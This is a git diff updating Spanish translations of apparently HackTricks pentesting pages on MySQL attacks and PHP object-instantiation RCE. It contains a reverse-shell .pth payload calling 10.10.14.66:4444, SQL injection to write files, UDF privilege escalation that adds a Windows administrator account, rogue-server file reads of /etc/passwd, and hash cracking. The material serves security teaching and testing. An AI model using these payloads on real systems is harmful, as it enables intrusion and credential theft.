Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/pent

This commit is contained in:
Translator 2025-09-03 19:06:29 +00:00
parent a6b48f38f1
commit 1cba4ca0c0
6 changed files with 596 additions and 537 deletions

View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Información Básica** ## **Información básica**
**MySQL** se puede describir como un sistema de gestión de bases de datos relacional de código abierto (**RDBMS**) que está disponible sin costo. Funciona con el **Lenguaje de Consulta Estructurado (SQL)**, lo que permite la gestión y manipulación de bases de datos. **MySQL** puede describirse como un **Relational Database Management System (RDBMS)** de código abierto que está disponible sin coste. Funciona con el **Structured Query Language (SQL)**, permitiendo la gestión y manipulación de bases de datos.
**Puerto por defecto:** 3306 **Puerto por defecto:** 3306
``` ```
3306/tcp open mysql 3306/tcp open mysql
``` ```
## **Conectar** ## **Conexión**
### **Local** ### **Local**
```bash ```bash
@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost mysql -h <Hostname> -u root@localhost
``` ```
## Enumeración Externa ## Enumeración externa
Algunas de las acciones de enumeración requieren credenciales válidas. Algunas de las acciones de enumeración requieren credenciales válidas
```bash ```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP> nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version msf> use auxiliary/scanner/mysql/mysql_version
@ -34,14 +34,14 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
``` ```
### [**Fuerza bruta**](../generic-hacking/brute-force.md#mysql) ### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Escribir cualquier dato binario ### Escribir cualquier dato binario
```bash ```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
``` ```
## **Comandos de MySQL** ## **Comandos MySQL**
```bash ```bash
show databases; show databases;
use <database>; use <database>;
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;' mysql -u root -h 127.0.0.1 -e 'show databases;'
``` ```
### Enumeración de Permisos de MySQL ### Enumeración de permisos de MySQL
```sql ```sql
#Mysql #Mysql
SHOW GRANTS [FOR user]; SHOW GRANTS [FOR user];
@ -110,86 +110,81 @@ Puedes ver en la documentación el significado de cada privilegio: [https://dev.
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}} {{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (ganchos de configuración específicos del sitio) #### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
Abusando de la primitiva clásica `INTO OUTFILE`, es posible obtener *ejecución de código arbitrario* en objetivos que luego ejecutan scripts de **Python**. Abusando del clásico `INTO OUTFILE` primitive es posible obtener *arbitrary code execution* en objetivos que posteriormente ejecutan scripts de **Python**.
1. Usa `INTO OUTFILE` para dejar caer un archivo **`.pth`** personalizado dentro de cualquier directorio cargado automáticamente por `site.py` (por ejemplo, `.../lib/python3.10/site-packages/`). 1. Usa `INTO OUTFILE` para colocar un archivo personalizado **`.pth`** dentro de cualquier directorio cargado automáticamente por `site.py` (p. ej. `.../lib/python3.10/site-packages/`).
2. El archivo `.pth` puede contener una *línea única* que comience con `import ` seguida de código Python arbitrario que se ejecutará cada vez que se inicie el intérprete. 2. El archivo `.pth` puede contener una *una sola línea* que comience con `import ` seguida de código Python arbitrario que se ejecutará cada vez que el intérprete se inicie.
3. Cuando el intérprete es ejecutado implícitamente por un script CGI (por ejemplo, `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), la carga útil se ejecuta con los mismos privilegios que el proceso del servidor web (FortiWeb lo ejecutó como **root**RCE completo previo a la autenticación). 3. Cuando el intérprete se ejecuta implícitamente por un script CGI (por ejemplo `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), el payload se ejecuta con los mismos privilegios que el proceso del servidor web (FortiWeb lo ejecutó como **root**full pre-auth RCE).
Ejemplo de carga útil `.pth` (línea única, no se pueden incluir espacios en la carga útil SQL final, por lo que puede ser necesario hex/`UNHEX()` o concatenación de cadenas): Ejemplo de payload `.pth` (una sola línea, no se pueden incluir espacios en el payload SQL final, por lo que puede ser necesario hex/`UNHEX()` o concatenación de cadenas):
```python ```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
``` ```
Ejemplo de creación del archivo a través de una **UNION** query (los caracteres de espacio se reemplazan con `/**/` para eludir un filtro de espacio `sscanf("%128s")` y mantener la longitud total ≤128 bytes): Ejemplo de creación del archivo mediante una consulta **UNION** (los caracteres de espacio reemplazados con `/**/` para eludir un filtro de espacios `sscanf("%128s")` y mantener la longitud total ≤128 bytes):
```sql ```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
``` ```
Limitaciones importantes y bypasses: Limitaciones importantes & bypasses:
* `INTO OUTFILE` **no puede sobrescribir** archivos existentes; elige un nuevo nombre de archivo. * `INTO OUTFILE` **no puede sobrescribir** archivos existentes; elige un nombre de archivo nuevo.
* La ruta del archivo se resuelve **relativa al CWD de MySQL**, por lo que prefijar con `../../` ayuda a acortar la ruta y eludir las restricciones de ruta absoluta. * La ruta de archivo se resuelve **relative to MySQLs CWD**, por lo que prefijar con `../../` ayuda a acortar la ruta y eludir las restricciones de rutas absolutas.
* Si la entrada del atacante se extrae con `%128s` (o similar), cualquier espacio truncará la carga útil; usa secuencias de comentarios de MySQL `/**/` o `/*!*/` para reemplazar espacios. * Si la entrada del atacante se extrae con `%128s` (o similar) cualquier espacio truncará el payload; usa las secuencias de comentario de MySQL `/**/` o `/*!*/` para reemplazar espacios.
* El usuario de MySQL que ejecuta la consulta necesita el privilegio `FILE`, pero en muchos dispositivos (por ejemplo, FortiWeb) el servicio se ejecuta como **root**, lo que otorga acceso de escritura casi en todas partes. * El usuario de MySQL que ejecuta la consulta necesita el privilegio `FILE`, pero en muchos appliances (e.g. FortiWeb) el servicio se ejecuta como **root**, dando acceso de escritura en casi cualquier lugar.
Después de eliminar el `.pth`, simplemente solicita cualquier CGI manejado por el intérprete de python para obtener ejecución de código: Después de colocar el `.pth`, simplemente solicita cualquier CGI manejado por el intérprete de python para obtener ejecución de código:
``` ```
GET /cgi-bin/ml-draw.py HTTP/1.1 GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target> Host: <target>
``` ```
El proceso de Python importará el `.pth` malicioso automáticamente y ejecutará la carga útil de shell. El proceso de Python importará automáticamente el `.pth` malicioso y ejecutará el shell payload.
``` ```
# Attacker # Attacker
$ nc -lvnp 4444 $ nc -lvnp 4444
id id
uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root)
``` ```
--- ## MySQL arbitrary read file by client
## Lectura arbitraria de archivos por el cliente en MySQL En realidad, cuando intentas **load data local into a table** con el **contenido de un archivo**, el servidor MySQL o MariaDB solicita al **cliente que lo lea** y envíe el contenido. **Entonces, si puedes manipular un mysql client para que se conecte a tu propio MySQL server, puedes leer arbitrary files.**\
Ten en cuenta que este es el comportamiento al usar:
En realidad, cuando intentas **cargar datos locales en una tabla** el **contenido de un archivo**, el servidor MySQL o MariaDB le pide al **cliente que lo lea** y envíe el contenido. **Entonces, si puedes manipular un cliente mysql para conectarte a tu propio servidor MySQL, puedes leer archivos arbitrarios.**\
Por favor, ten en cuenta que este es el comportamiento al usar:
```bash ```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
``` ```
(Nota la palabra "local")\ (Nota la palabra "local")\ Porque sin "local" puedes obtener:
Porque sin el "local" puedes obtener:
```bash ```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
``` ```
**PoC inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **PoC inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**En este documento puedes ver una descripción completa del ataque e incluso cómo extenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **En este artículo puedes ver una descripción completa del ataque e incluso cómo ampliarlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Aquí puedes encontrar una visión general del ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) **Aquí puedes encontrar una visión general del ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
## POST ## POST
### Usuario de Mysql ### Usuario de Mysql
Será muy interesante si mysql se está ejecutando como **root**: Será muy interesante si mysql está ejecutándose como **root**:
```bash ```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
``` ```
#### Configuraciones Peligrosas de mysqld.cnf #### Dangerous Settings of mysqld.cnf
En la configuración de los servicios de MySQL, se emplean varias configuraciones para definir su operación y medidas de seguridad: En la configuración de los servicios MySQL, se emplean varias opciones para definir su funcionamiento y medidas de seguridad:
- La configuración **`user`** se utiliza para designar el usuario bajo el cual se ejecutará el servicio de MySQL. - La **`user`** setting se utiliza para designar el usuario bajo el cual se ejecutará el servicio MySQL.
- **`password`** se aplica para establecer la contraseña asociada con el usuario de MySQL. - **`password`** se aplica para establecer la contraseña asociada con el usuario de MySQL.
- **`admin_address`** especifica la dirección IP que escucha las conexiones TCP/IP en la interfaz de red administrativa. - **`admin_address`** especifica la dirección IP que escucha conexiones TCP/IP en la interfaz de red administrativa.
- La variable **`debug`** es indicativa de las configuraciones de depuración actuales, incluyendo información sensible dentro de los registros. - La variable **`debug`** es indicativa de las configuraciones de depuración presentes, incluyendo información sensible dentro de los logs.
- **`sql_warnings`** gestiona si se generan cadenas de información para declaraciones INSERT de una sola fila cuando surgen advertencias, conteniendo datos sensibles dentro de los registros. - **`sql_warnings`** gestiona si se generan cadenas de información para sentencias INSERT de una sola fila cuando surgen warnings, conteniendo datos sensibles dentro de los logs.
- Con **`secure_file_priv`**, el alcance de las operaciones de importación y exportación de datos se restringe para mejorar la seguridad. - Con **`secure_file_priv`**, el alcance de las operaciones de importación y exportación de datos se restringe para mejorar la seguridad.
### Escalación de privilegios ### Escalada de privilegios
```bash ```bash
# Get current user (an all users) privileges and hashes # Get current user (an all users) privileges and hashes
use mysql; use mysql;
@ -207,18 +202,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc) # Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh \! sh
``` ```
### Escalación de privilegios a través de la biblioteca ### Privilege Escalation via library
Si el **servidor mysql se está ejecutando como root** (o un usuario más privilegiado diferente), puedes hacer que ejecute comandos. Para eso, necesitas usar **funciones definidas por el usuario**. Y para crear una función definida por el usuario necesitarás una **biblioteca** para el sistema operativo que está ejecutando mysql. Si el **mysql server is running as root** (o un usuario diferente con más privilegios) puedes hacer que ejecute comandos. Para ello necesitas usar **user defined functions**. Y para crear una user defined necesitarás una **biblioteca** para el OS que está ejecutando mysql.
La biblioteca maliciosa a utilizar se puede encontrar dentro de sqlmap y dentro de metasploit haciendo **`locate "*lib_mysqludf_sys*"`**. Los archivos **`.so`** son bibliotecas de **linux** y los **`.dll`** son los de **Windows**, elige el que necesites. La biblioteca maliciosa que puedes usar se encuentra dentro de sqlmap y dentro de metasploit ejecutando **`locate "*lib_mysqludf_sys*"`**. Los archivos **`.so`** son bibliotecas de **linux** y los **`.dll`** son los de **Windows**, elige la que necesites.
Si **no tienes** esas bibliotecas, puedes **buscarlas**, o descargar este [**código C para linux**](https://www.exploit-db.com/exploits/1518) y **compilarlo dentro de la máquina vulnerable de linux**: Si **no tienes** esas bibliotecas, puedes **buscarlas**, o descargar este [**linux C code**](https://www.exploit-db.com/exploits/1518) y **compilarlo dentro de la máquina linux vulnerable**:
```bash ```bash
gcc -g -c raptor_udf2.c gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
``` ```
Ahora que tienes la biblioteca, inicia sesión en Mysql como un usuario privilegiado (¿root?) y sigue los siguientes pasos: Ahora que tienes la biblioteca, inicia sesión en Mysql como un usuario con privilegios (¿root?) y sigue los siguientes pasos:
#### Linux #### Linux
```sql ```sql
@ -252,7 +247,16 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add"); SELECT sys_exec("net localgroup Administrators npn /add");
``` ```
### Extracción de credenciales de MySQL de archivos #### Consejo para Windows: crear directorios con NTFS ADS desde SQL
En NTFS puedes forzar la creación de directorios usando un alternate data stream incluso cuando solo existe una primitiva de escritura de archivos. Si la clásica UDF chain espera un directorio `plugin` pero no existe y `@@plugin_dir` es desconocido o bloqueado, puedes crearlo primero con `::$INDEX_ALLOCATION`:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Esto convierte el limitado `SELECT ... INTO OUTFILE` en una primitiva más completa en Windows stacks al preparar la estructura de carpetas necesaria para los drops de UDF.
### Extrayendo credenciales de MySQL desde archivos
Dentro de _/etc/mysql/debian.cnf_ puedes encontrar la **contraseña en texto plano** del usuario **debian-sys-maint** Dentro de _/etc/mysql/debian.cnf_ puedes encontrar la **contraseña en texto plano** del usuario **debian-sys-maint**
```bash ```bash
@ -260,15 +264,15 @@ cat /etc/mysql/debian.cnf
``` ```
Puedes **usar estas credenciales para iniciar sesión en la base de datos mysql**. Puedes **usar estas credenciales para iniciar sesión en la base de datos mysql**.
Dentro del archivo: _/var/lib/mysql/mysql/user.MYD_ puedes encontrar **todos los hashes de los usuarios de MySQL** (los que puedes extraer de mysql.user dentro de la base de datos)_._ Inside the file: _/var/lib/mysql/mysql/user.MYD_ puedes encontrar **todos los hashes de los usuarios de MySQL** (los que puedes extraer de mysql.user dentro de la base de datos)_._
Puedes extraerlos haciendo: Puedes extraerlos haciendo:
```bash ```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
``` ```
### Habilitando el registro ### Habilitar logging
Puedes habilitar el registro de consultas mysql dentro de `/etc/mysql/my.cnf` descomentando las siguientes líneas: Puedes habilitar el logging de consultas de mysql dentro de `/etc/mysql/my.cnf` descomentando las siguientes líneas:
![](<../images/image (899).png>) ![](<../images/image (899).png>)
@ -296,7 +300,7 @@ Archivos de configuración
- update.log - update.log
- common.log - common.log
## Base de datos/tablas MySQL predeterminadas ## Bases de datos/tablas por defecto de MySQL
{{#tabs}} {{#tabs}}
{{#tab name="information_schema"}} {{#tab name="information_schema"}}
@ -647,36 +651,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
``` ```
## 2023-2025 Destacados (nuevo) ## 2023-2025 Novedades (nuevas)
### Deserialización de `propertiesTransform` de JDBC (CVE-2023-21971) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Desde Connector/J <= 8.0.32, un atacante que puede influir en la **JDBC URL** (por ejemplo, en software de terceros que solicita una cadena de conexión) puede solicitar que se carguen clases arbitrarias en el lado del *cliente* a través del parámetro `propertiesTransform`. Si un gadget presente en el class-path es cargable, esto resulta en **ejecución remota de código en el contexto del cliente JDBC** (pre-autenticación, porque no se requieren credenciales válidas). Un PoC mínimo se ve así: Desde Connector/J <= 8.0.32, un atacante que pueda influir en la **JDBC URL** (por ejemplo en software de terceros que solicita una cadena de conexión) puede solicitar que se carguen clases arbitrarias en el lado del *client* a través del parámetro `propertiesTransform`. Si un gadget presente en el class-path es cargable, esto resulta en **remote code execution in the context of the JDBC client** (pre-auth, porque no se requieren credenciales válidas). Un PoC mínimo se ve así:
```java ```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
``` ```
Ejecutar `Evil.class` puede ser tan fácil como producirlo en el class-path de la aplicación vulnerable o permitir que un servidor MySQL malicioso envíe un objeto serializado malicioso. El problema fue solucionado en Connector/J 8.0.33 actualiza el controlador o establece explícitamente `propertiesTransform` en una lista de permitidos. Ejecutar `Evil.class` puede ser tan sencillo como colocarlo en el class-path de la aplicación vulnerable o permitir que un servidor MySQL rogue envíe un objeto serializado malicioso. El problema se solucionó en Connector/J 8.0.33: actualice el driver o configure explícitamente `propertiesTransform` en una allow-list.
(Vea el informe de Snyk para más detalles) (See Snyk write-up for details)
### Ataques de servidores MySQL falsos / maliciosos contra clientes JDBC ### Ataques de servidores MySQL rogue/falsos contra clientes JDBC
Varios herramientas de código abierto implementan un protocolo MySQL *parcial* para atacar a los clientes JDBC que se conectan externamente: Varias herramientas de código abierto implementan un protocolo MySQL *parcial* para atacar clientes JDBC que realizan conexiones salientes:
* **mysql-fake-server** (Java, soporta exploits de lectura de archivos y deserialización) * **mysql-fake-server** (Java, supports file read and deserialization exploits)
* **rogue_mysql_server** (Python, capacidades similares) * **rogue_mysql_server** (Python, similar capabilities)
Rutas de ataque típicas: Vectores de ataque típicos:
1. La aplicación víctima carga `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`. 1. La aplicación víctima carga `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`.
2. El atacante controla DNS / entrada de host para que el nombre del host de la base de datos se resuelva a una máquina bajo su control. 2. El atacante controla la entrada DNS / host para que el nombre de host de la BD resuelva a una máquina bajo su control.
3. El servidor malicioso responde con paquetes manipulados que desencadenan ya sea `LOCAL INFILE` lectura arbitraria de archivos o deserialización de Java → RCE. 3. El servidor malicioso responde con paquetes manipulados que provocan bien `LOCAL INFILE` para lectura arbitraria de archivos o Java deserialization → RCE.
Ejemplo de línea de comando para iniciar un servidor falso (Java): Example one-liner to start a fake server (Java):
```bash ```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
``` ```
Luego, apunte la aplicación víctima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` y lea `/etc/passwd` codificando el nombre del archivo como base64 en el campo *username* (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). Después apunta la aplicación víctima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` y lee `/etc/passwd` codificando el nombre de archivo en base64 en el campo *username* (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Cracking `caching_sha2_password` hashes ### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 almacena los hashes de contraseñas como **`$mysql-sha2$`** (SHA-256). Tanto Hashcat (modo **21100**) como John-the-Ripper (`--format=mysql-sha2`) admiten el cracking offline desde 2023. Vuelque la columna `authentication_string` y aliméntela directamente: MySQL ≥ 8.0 almacena los hashes de contraseña como **`$mysql-sha2$`** (SHA-256). Tanto Hashcat (mode **21100**) como John-the-Ripper (`--format=mysql-sha2`) soportan offline cracking desde 2023. Vuelca la columna `authentication_string` y aliméntala directamente:
```bash ```bash
# extract hashes # extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,20 +689,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper # John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
``` ```
### Lista de verificación de endurecimiento (2025) ### Checklist de hardening (2025)
• Establecer **`LOCAL_INFILE=0`** y **`--secure-file-priv=/var/empty`** para eliminar la mayoría de las primitivas de lectura/escritura de archivos. • Establecer **`LOCAL_INFILE=0`** y **`--secure-file-priv=/var/empty`** para eliminar la mayoría de las primitivas de lectura/escritura de archivos.
• Eliminar el privilegio **`FILE`** de las cuentas de aplicación. • Eliminar el privilegio **`FILE`** de las cuentas de la aplicación.
• En Connector/J establecer `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vacío). • En Connector/J establecer `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vacío).
• Deshabilitar los plugins de autenticación no utilizados y **requerir TLS** (`require_secure_transport = ON`). • Desactivar plugins de autenticación no usados y **requerir TLS** (`require_secure_transport = ON`).
Monitorear `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` y declaraciones `SET GLOBAL` repentinas. Vigilar sentencias `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` y sentencias `SET GLOBAL` repentinas.
--- ---
## Referencias ## Referencias
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) - [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) - [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# PHP - RCE abusando de la creación de objetos: new $\_GET\["a"]\($\_GET\["b"]) # PHP - RCE abusando de la creación de objetos: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
@ -6,13 +6,13 @@ Esto es básicamente un resumen de [https://swarm.ptsecurity.com/exploiting-arbi
## Introducción ## Introducción
La creación de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede llevar a la Ejecución Remota de Código (RCE), como se detalla en un [**informe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca varias estrategias para lograr RCE. La creación de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede conducir a Remote Code Execution (RCE), como se detalla en un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca varias estrategias para lograr RCE.
## RCE a través de Clases Personalizadas o Autocarga ## RCE a través de clases personalizadas o autoloading
La sintaxis `new $a($b)` se utiliza para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arreglos, o de JSON, donde podrían presentarse como otros tipos. La sintaxis `new $a($b)` se usa para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arrays, o de JSON, donde pueden presentarse como otros tipos.
Considera el fragmento de código a continuación: Considere el siguiente fragmento de código:
```php ```php
class App { class App {
function __construct ($cmd) { function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b); new $a($b);
``` ```
En este caso, establecer `$a` en `App` o `App2` y `$b` en un comando del sistema (por ejemplo, `uname -a`) resulta en la ejecución de ese comando. En este caso, establecer `$a` a `App` o `App2` y `$b` a un comando del sistema (por ejemplo, `uname -a`) resulta en la ejecución de ese comando.
**Las funciones de autoloading** pueden ser explotadas si no hay tales clases accesibles directamente. Estas funciones cargan automáticamente clases desde archivos cuando se necesitan y se definen utilizando `spl_autoload_register` o `__autoload`: **Funciones de auto-carga** pueden ser explotadas si tales clases no son directamente accesibles. Estas funciones cargan automáticamente clases desde archivos cuando se necesitan y se definen usando `spl_autoload_register` o `__autoload`:
```php ```php
spl_autoload_register(function ($class_name) { spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php'; include './../classes/' . $class_name . '.php';
@ -45,52 +45,76 @@ include $class_name . '.php';
spl_autoload_register(); spl_autoload_register();
``` ```
El comportamiento de la carga automática varía con las versiones de PHP, ofreciendo diferentes posibilidades de RCE. El comportamiento del autoloading varía según la versión de PHP, ofreciendo diferentes posibilidades de RCE.
## RCE a través de Clases Incorporadas ## RCE via Built-In Classes
Al carecer de clases personalizadas o cargadores automáticos, **las clases incorporadas de PHP** pueden ser suficientes para RCE. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Se pueden listar usando `get_declared_classes()`. Si faltan clases personalizadas o autoloaders, las **clases integradas de PHP** pueden ser suficientes para RCE. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Pueden listarse usando `get_declared_classes()`.
Los constructores de interés se pueden identificar a través de la API de reflexión, como se muestra en el siguiente ejemplo y el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). Los constructores de interés pueden identificarse mediante la reflection API, como se muestra en el siguiente ejemplo y en el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE a través de métodos específicos incluye:** **RCE via specific methods includes:**
